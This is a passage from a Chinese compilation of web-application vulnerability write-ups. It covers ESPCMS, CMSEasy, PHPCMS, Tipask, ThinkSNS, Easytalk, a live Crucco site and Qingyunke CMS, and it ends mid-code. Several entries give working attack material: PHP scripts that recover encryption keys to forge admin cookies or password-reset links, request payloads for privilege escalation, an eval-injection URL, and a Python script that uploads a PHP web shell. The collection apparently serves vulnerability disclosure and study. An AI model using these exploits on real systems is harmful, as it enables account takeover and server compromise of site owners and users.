$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C'); $esp_powerlist = $this->fun->accept('esp_powerlist', 'C'); $gettype = true; } $arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode)); $this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode)); list($this->esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $this->esp_powerid, $this->esp_inputclassid, $this->esp_softurl) = $arr_purview; if ($gettype) { if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) { $condition = 0; } else { $condition = 1; } } else { - 119 - if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) { $condition = 0; } else { $condition = 1; } } if ($condition == 0) { if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') { header('location: index.php?archive=adminuser&action=login'); exit(); } } else { if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') { header('location: index.php?archive=management&action=tab&loadfun=mang ercenter&out=tabcenter'); exit(); } } 逻辑校验存在问题: if ($condition == 0) { if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') { header('location: index.php?archive=adminuser&action=login'); - 120 - exit(); } 当 archive=adminuser,但是 action 变量不等于 login 时就不会被跳 转到登录页。但是在文件 adminsoft\control\adminuser.php 中 function onlogin() { parent::start_template(); if ($this->fun->accept('logoutid', 'C') == 1) { $this->ectemplates->assign('systemTitle', $this->lng['adminuser_login_lout_error']); $this->fun->setcookie('logoutid', 0); } else { $this->ectemplates->assign('systemTitle', $this->lng['adminuser_login_login_error']); } $this->ectemplates->display('login'); } function onlogin_into() { include_once admin_ROOT . '/public/class_seccode.php'; list($new_seccode, $expiration) = explode("\t", $this->fun->eccode($_COOKIE['ecisp_seccode'], 'DECODE')); $code = new seccode(); $code->seccodeconvert($new_seccode); parent::start_template(); $db_table = db_prefix . "admin_member"; - 121 - $linkURL = $_SERVER['HTTP_REFERER']; 还可以调用该类的其他方法,如方法 onlogin_into() **.**.**.**/adminsoft/index.php?archive=adminuser&acti on=login_into 也就是可以调用 adminuser.php 这个后台文件的其他功能。 cmseasy 逻辑缺陷可升级普通用户为管理 员 作者:menmen519 user_act.php(130-155): if (front::post('submit')) { if (front::post('username') && front::post('password')) { $username = front::post('username'); $password = md5(front::post('password')); $data = array( 'username' => $username, 'password' => $password, ); $user = new user(); $row = $user->getrow(array('username' => $data['username'], 'password' => $data['password'])); - 122 - if (!is_array($row)) { $this->login_false(); return; } $post[$classname] = session::get('openid'); $this->_user->rec_update($post, 'userid=' . $row['userid']); cookie::set('login_username', $row['username']); cookie::set('login_password', front::cookie_encode($row['password'])); session::set('username', $row['username']); front::redirect(url::create('user')); return; } else { $this->login_false(); return; } } 第一步 我们注册一个为 test 密码为 111111 的用户 然后发送 url: http://localhost/uploads/index.php?case=user&act=respon d&ologin_code=groupid postdata: username=test&password=111111&submit=xxx 第二步: $post[$classname] = session::get('openid'); - 123 - 这里 我们给$post 传递进去了 groupid 但是有个问题 session::get('openid') 并不存在 所以执行后 test 用户的 groupid 为 0 那么下来我们在继续找一下 line 157-172: include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php'; $ologinobj = new $classname(); $status = $ologinobj->respond(); //var_dump(session::get('openid'));exit; $where[$classname] = session::get('openid'); if(!$where[$classname]) front::redirect(url::create('user')); $user = new user(); $data = $user->getrow($where); if(!$data){ $this->view->data = $status; }else{ cookie::set('login_username',$data['username']); cookie::set('login_password',front::cookie_encode($d ata['password'])); session::set('username',$data['username']); front::redirect(url::create('user')); } 这里我们看看是不是要写 session 其他的认证信息 我们都忽略 我们 只关心这里的 openid 生效不 可控不 当$classname 为 alipaylogin.php 时候 我们跟进去 function respond() { ini_set("display_errors","On"); - 124 - $where = array('ologin_code'=>front::$get['ologin_code']); $ologins = ologin::getInstance()->getrows($where); $ologin = unserialize_config($ologins[0]['ologin_config']); //var_dump($ologin); $aliapy_config['partner'] = $ologin['alipaylogin_id']; $aliapy_config['key'] = $ologin['alipaylogin_key']; $aliapy_config['return_url'] = ologin::url(basename(__FILE__,'.php')); $aliapy_config['sign_type'] = 'MD5'; $aliapy_config['input_charset']= 'utf-8'; $aliapy_config['transport'] = 'http'; $aliapy_config['cacert'] = getcwd().'/lib/plugins/alipayauth/cacert.pem'; //var_dump($aliapy_config); unset($_GET['case']);unset($_GET['act']);unset($_GET ['ologin_code']);unset($_GET['site']); require_once("alipayauth/alipay_notify.class.php"); $alipayNotify = new AlipayNotify($aliapy_config); //var_dump($alipayNotify); $verify_result = $alipayNotify->verifyReturn(); //var_dump($verify_result); if(true || $verify_result) {//验证成功 $user_id = front::$get['user_id']; $token = front::$get['token']; session::set('access_token',$token); - 125 - session::set("openid",$user_id); return array('nickname'=> front::get('real_name')); if(true || $verify_result) {//验证成功 这一行我们让它永远成立 因为 在这之前全是配置信息的东西 我们直接看这里 $user_id = front::$get['user_id']; $token = front::$get['token']; session::set('access_token',$token); session::set("openid",$user_id); return array('nickname'=> front::get('real_name')) 发现没有 openid 完全可控制 我们发送 url: http://localhost/uploads/index.php?case=user&act=respon d&ologin_code=alipaylogin&user_id=2&real_name=test 这时候我们的 openid 被设置为了 2 那么我们回头在看看 发送 url: http://localhost/uploads/index.php?case=user&act=respon d&ologin_code=groupid postdata: username=test&password=111111&submit=xxx 这时候 看看 我们的 test 用户组为: - 126 - PHPCMS 设计缺陷可重置前台任意用户密 码 作者:loopx9 \phpcms\modules\member\index.php: /通过用户名找回密码 public function public_forget_password_username() { $step = intval($_POST['step']); $step = max($step,1); $this->_session_start(); if(isset($_POST['dosubmit']) && $step==2) { //处理提交申请,以手机号为准 if ($_SESSION['code'] != strtolower($_POST['code'])) { showmessage(L('code_error'), HTTP_REFERER); } $username = safe_replace($_POST['username']); - 127 - $r = $this->db->get_one(array('username'=>$username),'use rid,email'); if($r['email']=='') { $_SESSION['userid'] = ''; $_SESSION['code'] = ''; showmessage("该账号没有 绑定手机号码,请选择其他方式找回!"); } else { $_SESSION['userid'] = $r['userid']; $_SESSION['email'] = $r['email']; } $email_arr = explode('@',$r['email']); include template('member', 'forget_password_username'); } elseif(isset($_POST['dosubmit']) && $step==3) { $sms_report_db = pc_base::load_model('sms_report_model'); $mobile_verify = $_POST['mobile_verify']; $email = $_SESSION['email']; if($email){ if(!preg_match('/^([a-z0-9_]+)@([a-z0-9_]+).( [a-z]{2,6})$/',$email)) exit('check email error'); if($_SESSION['emc_times']=='' || $_SESSION['emc_times']<=0){ - 128 - showmessage("验 证次数超过 5 次,验证码失效,请重新获取邮箱验证码! ",HTTP_REFERER,3000); } $_SESSION['emc_times'] = $_SESSION['emc_times']-1; if($_SESSION['emc']!='' && $_POST['email_verify']==$_SESSION['emc']) { $userid = $_SESSION['userid']; $updateinfo = array(); $password = random(8,"23456789abcdefghkmnrstwxy"); $encrypt = random(6,"23456789abcdefghkmnrstwxyABCDEFGHKMNRSTWXY "); $updateinfo['encrypt'] = $encrypt; $updateinfo['password'] = password($password, $encrypt); $this->db->update($updateinfo, array('userid'=>$userid)); $rs = $this->db->get_one(array('userid'=>$userid),'phpssou id'); if(pc_base::load_config('system', 'phpsso')) { - 129 - //初始化 phpsso $this->_init_phpsso(); $this->client->ps_member_edit('', '', '', $password, $rs['phpssouid'], $encrypt); } $_SESSION['email'] = ''; $_SESSION['userid'] = ''; $_SESSION['emc'] = ''; $_SESSION['code'] = ''; pc_base::load_sys_func('mail'); sendmail($email, '密码重置通知', "您在 ".date('Y-m-d H:i:s')."通过密码找回功能,重置了本站密码。"); include template('member', 'forget_password_username'); exit; } else { showmessage("验 证码错误!请重新获取!",HTTP_REFERER,3000); } } else { showmessage("非法请求! "); } } else { - 130 - include template('member', 'forget_password_username'); } } //邮箱获取验证码 public function public_get_email_verify() { pc_base::load_sys_func('mail'); $this->_session_start(); $code = $_SESSION['emc'] = random(8,"23456789abcdefghkmnrstwxy"); $_SESSION['emc_times']=5; $message = '您的验证码为:'.$code; sendmail($_SESSION['email'], '邮箱找回密 码验证', $message); echo '1'; } 通过用户名找回密码方式存在设计缺陷。找回密码流程可分作三步来 看: 步骤 1: 客户端提交用户名,服务端在数据库中查询记录,如果存在此 用户就在 session 中保存用户身份信息; 步骤 2: 生成验证码并保存在 session,然后将验证码发往用户注册邮 箱; 步骤 3: 服务端将客户端提交的验证码与 session 中保存的进行比对, 验证通过后重置用户密码。 从代码中可以看到验证码没有绑定用户身份,这样就导致可以使用用 户 A 的验证码来重置用户 B 的密码。 - 131 - 使用用户 A(可控账户)走正常密码找回流程来获取验证码,但不使 用,然后再使用用户 B(要攻击的账户)走步骤 1,接着跳过步骤 2 使用前面获取到的验证码直接走步骤 3,就能重置用户 B 的密码了。 密码相当 Espcms 加密函数缺陷导致 getshell 作者:膜拜 hym * 程序的加解密函数存在缺陷,可以通过明文和密文逆向还原密钥 * 后台登陆处没有有效验证 cookie 有效性导致攻击者可以通过伪造 cookie 登陆后台 * 后台可以上传 shell 下面一步一步来看 首先是加解密函数 eccode function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); - 132 - $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; } 可以看到密文是明文与 key 通过字符 ascii 相加最后 base64 编码后 得到的,加密时,key 由最后一位开始,依次与明文的每一位进行 ascii 相加,因此用密文和明文相减能得到 key,有没有凯撒加密的感觉? 知道原理以后下面开始逆向 key: function anti_eccode($encrypt, $clear) { $result = null; $data = str_replace(array('-', '_'), array('+', '/'), $encrypt); - 133 - $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($clear, $i, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } $result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1); return $result; } 好吧,虽然现在理论上可以还原 key 了,但是还得找到足够长的明文 和相对应的密文才可以得到完整的 key,毕竟如果明文和密文都没有 key 长,还原得到的 key 也是不完整的。 在购物车结算时,程序会把当前物品的价格和折扣变成 md5 然后加密 后放到 cookie 里,所以我们可以保证推算出最多 32 位长的 key,够 了,至于其他的地方不知道可不可以,我没有仔细看。 function in_orderpay() { parent::start_pagetemplate(); if ($this->CON['order_ismember']) { parent::member_purview(0, $this->mlink['orderpay']); } $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG; - 134 - $cartid = $this->fun->eccode($this->fun->accept('ecisp_order_l ist', 'C'), 'DECODE', db_pscode); $cartid = stripslashes(htmlspecialchars_decode($cartid)); $uncartid = !empty($cartid) ? unserialize($cartid) : 0; if ($this->CON['order_ismember']) { if (!empty($this->ec_member_username_id) && !empty($this->ec_member_username)) { $rsMember = $this->get_member(null, $this->ec_member_username_id); } else { $linkURL = $this->get_link('memberlogin'); $this->callmessage($this->lng['memberloginerr '], $linkURL, $this->lng['memberlogin'], 1, $this->lng['member_regbotton'], 1, $this->mlink['reg']); } } if ($uncartid && is_array($uncartid)) { $didarray = $this->fun->key_array_name($uncartid, 'did', 'amount', '[0-9]+', '[0-9]+'); - 135 - $didlist = $this->fun->format_array_text(array_keys($didarray), ','); if (!empty($didlist)) { $db_table = db_prefix . 'document'; $db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC"; $sql = "SELECT * FROM $db_table WHERE $db_where"; $rs = $this->db->query($sql); $productmoney = 0; while ($rsList = $this->db->fetch_assoc($rs)) { $amount = empty($didarray[$rsList['did']]) ? 1 : intval($didarray[$rsList['did']]); $rsList['link'] = $this->get_link('doc', $rsList, admin_LNG); $rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG); $rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG); $rsList['dellink'] = $this->get_link('buydel', $rsList, admin_LNG); $rsList['ctitle'] = empty($rsList['color']) ? - 136 - $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>"; $rsList['amount'] = $amount; $countprice = sprintf("%01.2f", $amount * $rsList['bprice']); $rsList['countprice'] = $countprice; $productmoney = $productmoney + $countprice; $array[] = $rsList; } $this->fun->setcookie('ecisp_order_productmon ey', $this->fun->eccode($productmoney, 'ENCODE', db_pscode), 7200); } $this->pagetemplate->assign('moneytype', $this->CON['order_moneytype']); $order_discount = $this->CON['order_discount']; $discountmoney = 0; if ($order_discount > 0) { $discountmoney = $productmoney > 0 ? $productmoney - ($order_discount / 100) * $productmoney : 0; } $discount_productmoney = $productmoney - $discountmoney; - 137 - $order_integral = empty($this->CON['order_integral']) ? 1 : intval($this->CON['order_integral']); $internum = $discount_productmoney * $order_integral; $this->pagetemplate->assign('internum', intval($internum)); $payplug = $this->get_payplug_array(); $shipplug = $this->get_shipplug_array(); $cookiceprice = md5("$productmoney|$discount_productmoney"); $this->fun->setcookie('ecisp_order_sncode', $this->fun->eccode($cookiceprice, 'ENCODE', db_pscode)); 而被加密的明文就是 MD5 过后的购物价格,因此可以还原最长 32 位 的 key 在经过上面的步骤还原 key 以后,就可以伪造 cookie 登陆后台了: $arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode)); $this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode)); - 138 - list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview; $this->esp_adminuserid = intval($esp_adminuserid); $this->esp_inputclassid = intval($esp_inputclassid); $this->esp_powerid = intval($esp_powerid); if ($gettype) { if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) { $condition = 0; } else { $condition = 1; } } else { if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) { $condition = 0; } else { $condition = 1; } } if ($condition == 0) { if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') { - 139 - header('location: index.php?archive=adminuser&action=login'); exit(); } } else { if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') { header('location: index.php?archive=management&action=tab&loadfun=mang ercenter&out=tabcenter'); exit(); } } 需要 cookie 中的将 esp_powerlist 设为 all,将 ecisp_admininfo 设为 类似 '1|hym|12345678901234567890123456789012|'.md5('Mozilla /5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://**.**.**.**/esp cms/adminsoft'这样的结构,去登陆后台就可以了,此处应有掌声。 首先注册会员购物 折扣前和折扣后的价格都是 3200,所以明文是 md5('3200|3200')='38a7a5650e6296b180c88f6592486fbf' - 140 - 密文通过查看 cookie 中的 ecisp_order_sncode 得到: ecisp_order_sncode=mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6 XbWlsa5ufl50 写了一个 poc 来还原 key: <?php function anti_eccode($encrypt, $clear) { $result = null; $data = str_replace(array('-', '_'), array('+', '/'), $encrypt); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($clear, $i, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } $result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1); return $result; } function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); - 141 - $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; } #明文 $clear = "38a7a5650e6296b180c88f6592486fbf"; #密文 $encrypt = "mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50"; #获取 key $mkey = anti_eccode($encrypt, $clear); - 142 - print "[*]maybe key is:".$mkey."\n"; #使用者自己根据判断裁剪 mkey 的长度获取真实的 key print "[*]input key:"; $key = trim(fgets(STDIN)); #构造 cookie $esp_powerlist = eccode('all', 'ENCODE', $key); $ecisp_admininfo = eccode('1|hym|12345678901234567890123456789012|'.md5 ('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://**.**.**. **/espcms/adminsoft'), 'ENCODE', $key); print "[+]esp_powerlist=$esp_powerlist\n"; print "[+]ecisp_admininfo=$ecisp_admininfo\n"; ?> 通过检查,发现后面实际是重复的,因此真正的 key 应该是前面的 9 57174ca8b1384d373d2f8b4783e key 正是"957174ca8b1384d373d2f8b4783e" 然后设置 cookie 并登陆,浏览器要与 poc 中设置的浏览器一致,否 则会登陆失败 - 143 - Tipask 2.0 加密函数破解导致任意用户密码修 改 作者:猪头子 Tipask 问答系统是一款开放源码的 PHP 仿百度知道程序。以国人的 使用习惯为设计理念,采用 MVC 构架,系统具有速度快,SEO 友好, 界面操作简洁明快等特点。 但是 Tipask 中使用的加密算法存在被破解的可能性,因此将导致包括 任意用户密码修改等漏洞的发生。 在核心加密算法 strcode 函数中: /* 通用加密解密函数,phpwind、phpcms、dedecms 都用此函数 */ function strcode($string, $auth_key, $action= 'ENCODE') { $key = substr(md5($_SERVER[ "HTTP_USER_AGENT"] . $auth_key), 8, 18); $string = $action == 'ENCODE' ? $string : base64_decode($string); $len = strlen($key); $code = ''; for ($i = 0; $i < strlen($string); $i++) { $k = $i % $len; $code .= $string[$i] ^ $key[$k]; } - 144 - $code = $action == 'DECODE' ? $code : base64_encode($code); return $code; } 可以看到加密的算法是异或,所以可以用密文和明文异或的方法反过 来求出密钥 key,如下: function anti_strcode($authstr, $plaintxt) { $key =''; $authstr = urldecode(base64_decode($authstr)); for($i = 0; $i < 18; $i++) { $key .= $authstr[$i] ^ $plaintxt[$i]; } return $key; } key 长度为 18,因此我们要找一个明文长度超过 18 而被加密的字串, 经过检查,发现 cookie 中的 auth 值长度超过了 18,因此将针对 co okie 中的 auth 进行 key 猜解。 在 Tipask 的密码重置中,生成密码重置链接的关键字串是由 strcode 产生,因此可以利用破解后的 key 来达到任意密码修改功能。 <?php printf("-------------------------------------------- ----------- Tipask 2.0 authkey decrypt exploit Author:ztz Blog:http://**.**.**.**/ - 145 - ---------------------------------------------------- ---\n\n" ); if ($argc < 3) { print_r( "Usage: php exp.php uid password auth_cookie\nexample: php exp.php 1 s3cr4t AjAGAAcFVwcHBwYHUA8GU19UBwtTV1AGAQQMUgMEWwpSVg%3D%3D \n\n"); exit(); } $uid = $argv[1]; $password = md5($argv[2]); $auth_cookie = $argv[3]; $str = "$uid \t$password "; $key = anti_strcode("$auth_cookie ", " $str"); print "[+]Key: $key \n"; print "[*]Input the username you want to reset: "; fscanf(STDIN, "%s\n", $username); print "[*]Encrypting...\n"; $code = urlencode(strcode($username, $key)); print "[+]Reset password here: ?user/resetpass/$code \n"; //function function anti_strcode($authstr, $plaintxt) { $key = ''; $authstr = urldecode(base64_decode($authstr)); for($i = 0; $i < 18; $i++) { $key .= $authstr[$i] ^ $plaintxt[$i]; } - 146 - return $key; } function strcode($string, $key) { $len = 18; $code = ''; for ($i = 0; $i < strlen($string); $i++) { $k = $i % $len; $code .= $string[$i] ^ $key[$k]; } $code = base64_encode($code); return $code; } ?> 首先申请重置目标用户的密码 利用自己的注册用户的 cookie 解密 key: 当前登录用户 cookie 中的 auth 为 VjEFWAFbAwtXBlUDV1ZVCAEAUFkDBQFcVFcCUggCAlNVWg %3D%3D 然后进行解密: - 147 - 获得 key 为 d82ab802de152bf9bb 然后输入想要重置的用户: 获得了重置密码的链接。 越权访问 ThinkSNS 水平权限问题 作者:Ano_Tom 看过之前乌云白帽子发的关于水平权限的问题,貌似很多。重新看了 下,好多都没修复。发个没有重复的。测试版本:4.18 号官网下载的 版本。 漏洞文件: /thinksns/apps/weba/Lib/Action/GroupAction.class.php 说明,index 文件应该是 group 文件的完善更新版? 代码: - 148 - /** * 执行编辑帖子 * @return void */ //水平权限缺陷 02 public function doPostEdit(){ // echo 2;die; $checkContent = str_replace(' ', '', $_POST['content']); $checkContent = str_replace('<br />', '', $checkContent); $checkContent = str_replace('<p>', '', $checkContent); $checkContent = str_replace('</p>', '', $checkContent); $checkContents = preg_replace('/<img(.*?)src=/i','img',$checkContent) ; $checkContents = preg_replace('/<embed(.*?)src=/i','img',$checkConten ts); if(strlen(t($_POST['title']))==0) $this->error('帖子标题不能为空'); if(strlen(t($checkContents))==0) $this->error('帖子内容不能为空'); preg_match_all('/./us', t($_POST['title']), $match); if(count($match[0])>30){ //汉字和字母都为一个 字 $this->error('帖子标题不能超过 30 个字'); } $post_id = intval($_POST['post_id']); $data['title'] = t($_POST['title']); $data['content'] = h($_POST['content']); - 149 - $res = D('weiba_post')->where('post_id='.$post_id)->save($d ata);//直接提交 post_id 即可编辑任意帖子,未进行权限认证 if($res!==false){ $post_detail = D('weiba_post')->where('post_id='.$post_id)->find(); if(intval($_POST['log'])==1){ D('log')->writeLog($post_detail['weiba_id'],$this->m id,'编辑了帖子“<a href="'.U('weiba/Index/postDetail',array('post_id'=> $post_id)).'" target="_blank">'.$post_detail['title'].'</a>”','pos ts'); } //同步到微博 $feedInfo = D('feed_data')->where('feed_id='.$post_detail['feed_ id'])->find(); $datas = unserialize($feedInfo['feed_data']); $datas['content'] = '【'.$data['title'].'】 '.getShort(t($checkContent),100).' '; $datas['body'] = $datas['content']; $data1['feed_data'] = serialize($datas); $data1['feed_content'] = $datas['content']; $feed_id = D('feed_data')->where('feed_id='.$post_detail['feed_ id'])->save($data1); model('Cache')->rm('fd_'.$post_detail['feed_id']); return $this->ajaxReturn($post_id, '编辑成功', 1); }else{ - 150 - $this->error('编辑失败'); } } 其中 doPostEdit 操作未对权限认证,导致可以修改微吧里的任意帖子 起始状态如下 post_id=5 内容为 test02 的,post_id=4 内容为 test01 的 test02 修改自己的帖子,拦截 post 请求如下 修改 test01 的帖子,即 post_id=4 如图 - 151 - 结果为 - 152 - Easytalk 垂直权限问题 作者:Ano_Tom Easytalk 处理用户数据的时候未足够过滤,导致可以进行权限提升 晚上习惯性的打开代码分析分析函数,看到了这样一处 漏洞文件: /Easytalk/Home/Lib/Action/GuideAction.class.php //保存设置,注册用户时候,向导保存设置 public function doset() { $user=M('Users'); $userdata=$_POST["user"];//获取用户提交 的所有数据 // ok,此处的用户 userdata 数据是来自 post 的,而并未过 滤一些敏感字段 $userdata["nickname"]= daddslashes(strip_tags(trim($userdata["nickname"]))) ; $userdata['provinceid']=intval($userdata['pro vinceid']); $userdata['cityid']=intval($userdata['cityid'] ); $userdata['user_info']= daddslashes(trim(htmlspecialchars($userdata['user_in fo']))); // 过滤 nickname if(!preg_match('/^[0-9a-zA-Z\xe0-\xef\x80-\xbf._-]+$ /i',$userdata['nickname'])) { - 153 - setcookie('setok', json_encode(array('lang'=>L('setting2'),'ico'=>2)),0, '/'); header('location:'.SITE_URL.'/?m=guide'); exit; } if (!$userdata['nickname'] || !$userdata['provinceid'] || !$userdata['cityid']) { setcookie('setok', json_encode(array('lang'=>L('setting1'),'ico'=>2)),0, '/'); header('location:'.SITE_URL.'/?m=guide'); exit; } //昵称检测 if ($userdata['nickname'] && $userdata['nickname']!=$this->my['nickname']) { if (StrLenW($userdata['nickname'])<=12 && StrLenW($userdata['nickname'])>=3) { $newnickname=$user->where("nickname='$userdata[nickn ame]'")->find(); if ($newnickname) { setcookie('setok', json_encode(array('lang'=>L('setting4'),'ico'=>2)),0, '/'); header('location:'.SITE_URL.'/?m=guide'); exit; } } else { - 154 - setcookie('setok', json_encode(array('lang'=>L('setting2'),'ico'=>2)),0, '/'); header('location:'.SITE_URL.'/?m=guide'); exit; } } // var_dump($userdata);die; $user->where("user_id='".$this->my['user_id']."'")-> data($userdata)->save(); header('location:'.SITE_URL.'/?m=guide&a=followtopic '); } 漏洞代码, $userdata=$_POST["user"];//获取用户提交的所有数据,然后进 行了一些常规的检测之后,就执行了 $user->where("user_id='".$this->my['user_id']."'")->data( $userdata)->save();存入数据库了。 这样写的问题是,用户可以自己添加别的字段,而因为此 cms 管理员 表跟普通用户表又在一个表里,(区分的标志是 isadmin 字段)因而 可以造成权限提升 注册普通用户,然后来到设置向导里,拦截发送的请求 - 155 - 增加字段 user%5Bisadmin%5D=1 即可 - 156 - 代码执行 初刻 Crucco 主站任意代码执行 作者:kelon http://www.crucco.com/huodongye.php?pn=zucefangsi 在这里我们发现 pn 的值没有指定,可以任意提交,我们推断应该程序 员写成以下代码 $smarty->display($_GET['p']); 我们找到 ecshop 中的 display 方法 发现里面用了 eval function _eval($content) { ob_start(); eval('?' . '>' . trim($content)); $content = ob_get_contents(); ob_end_clean(); return $content; } 我们提交以下 url: http://www.crucco.com/huodongye.php?pn=str:%3C?php%20 phpinfo%28%29;// 会发现可爱的 phpinfo 出来了 - 157 - 青云客 CMS 前台任意代码执行 作者:c26 api.php <?php ini_set("max_execution_time","1800"); include('include/config.php'); include('include/function.php'); include('include/class_mysql.php'); nocache(); $tcz=array( 'log'=>arg('log','all','url') ); $db=new mysql(); switch($tcz['log']){ ... case 'feedback_upload': @$webdomain=$_SERVER['SERVER_NAME']; $websit echo $website['webid']; if(!$website){ die('error'); exit; } if($_FILES["file"]["error"]>0){ echo '<script type="text/javascript">parent.PZ.sendfeedback_upload ({log:"success",msg:"error1"});</script>'; exit; }else{ $fsize=$_FILES['file']['size']/1024; - 158 - if($fsize>5120){ echo '<script type="text/javascript">parent.PZ.sendfeedback_upload ({log:"success",msg:"error2"});</script>'; exit; } // 获取扩展名 $typename=strtolower(pathinfo($_FILES['file'] ['name'],PATHINFO_EXTENSION)); // 组合文件名 $filename=date('dHis').'_'.randomkeys(6).'.'. $typename; // 组合路径 $path=setup_upfolder.$website['webid'].'/'.se tup_uptemp.$filename; // shell move_uploaded_file($_FILES['file']['tmp_name'] ,$path); echo '<script type="text/javascript">parent.PZ.sendfeedback_upload ({log:"success",file:"'.$filename.'"});</script>'; } break; default: $url=$_SERVER["QUERY_STRING"]; if($url!=''){ $url=preg_replace('/^\//','',$url); gotourl($url); } break; - 159 - } ?> 前面直接引入了配置文件、方法封装、操作类文件,没有做其他验证, 跟进查看 arg function arg($aname='log',$gtype='post',$atype='string',$len= 0){ $val=''; switch($gtype){ case "get": @$val=$_GET[$aname]; break; case "post": @$val=$_POST[$aname]; break; case "all": @$val=$_GET[$aname]; if($val=='')@$val=$_POST[$aname]; break; } switch($atype){ case 'int': if($val=='')$val='0'; $val=sprintf('%.0f',$val); break; case 'num': $val=floatval($val); if($val<1)$val=1; break; case 'url': $val=trim($val); StopAttack($aname,$val,$gtype); $val=urldecode($val); - 160 - break; case 'txt': $val=trim($val); StopAttack($aname,$val,$gtype); $val=urldecode($val); $val=htmlspecialchars($val); break; case 'rate': $val=urldecode($val); if($val=='')$val=0; $val=(float)$val; $val=sprintf('%.4f',$val); break; case 'decimal': $val=urldecode($val); if($val=='')$val=0; $val=(float)$val; $val=sprintf('%.'.goif($len,$len,2).'f',$val) ; break; case 'none': break; default: StopAttack($aname,$val,$gtype); $val=htmlspecialchars($val); break; } return $val; } 根据构造表单 - 161 - <form action="http://**.**.**.**/api.php?log=feedback_uplo ad" method="post" enctype="multipart/form-data"> <input type="file" name="file"><br><br> <input type="submit" value="upload"> </form> Response: <script type="text/javascript">parent.PZ.sendfeedback_upload ({log:"success",file:"22170707_shhxyo.php"});</scrip t> 附上 Exploit: #!/usr/bin/env python #coding=utf-8 import requests import re def getshell(host): if not host.startswith('http://') and not host.startswith('https://'): url = 'http://' + host else: url = host files = {'file': ('x.php', open('e:\\ma\\php\\phpinfo.txt', 'rb'), 'image/png')} req = requests.post(url + '/api.php?log=feedback_upload', files = files) match = re.search(r'(\d{5}).*file:"(.*\.php)"', req.content) if match.group(1) and match.group(2): - 162 - shell = '%s/upload/%s/temp/%s'%(url, match.group(1), match.group(2)) req = requests.get(shell) if req.status_code == 200: print shell else: print match.group() if __name__ == '__main__': getshell('http://**.**.**.**/') getshell ThinkSNS getshell 作者:猪头子 \apps\public\Lib\Action\CommentAction.class.php reply 函数 public function reply() { - 163 - $var = $_GET; $var['initNums'] = model('Xdata')->getConfig('weibo_nums', 'feed'); $var['commentInfo'] = 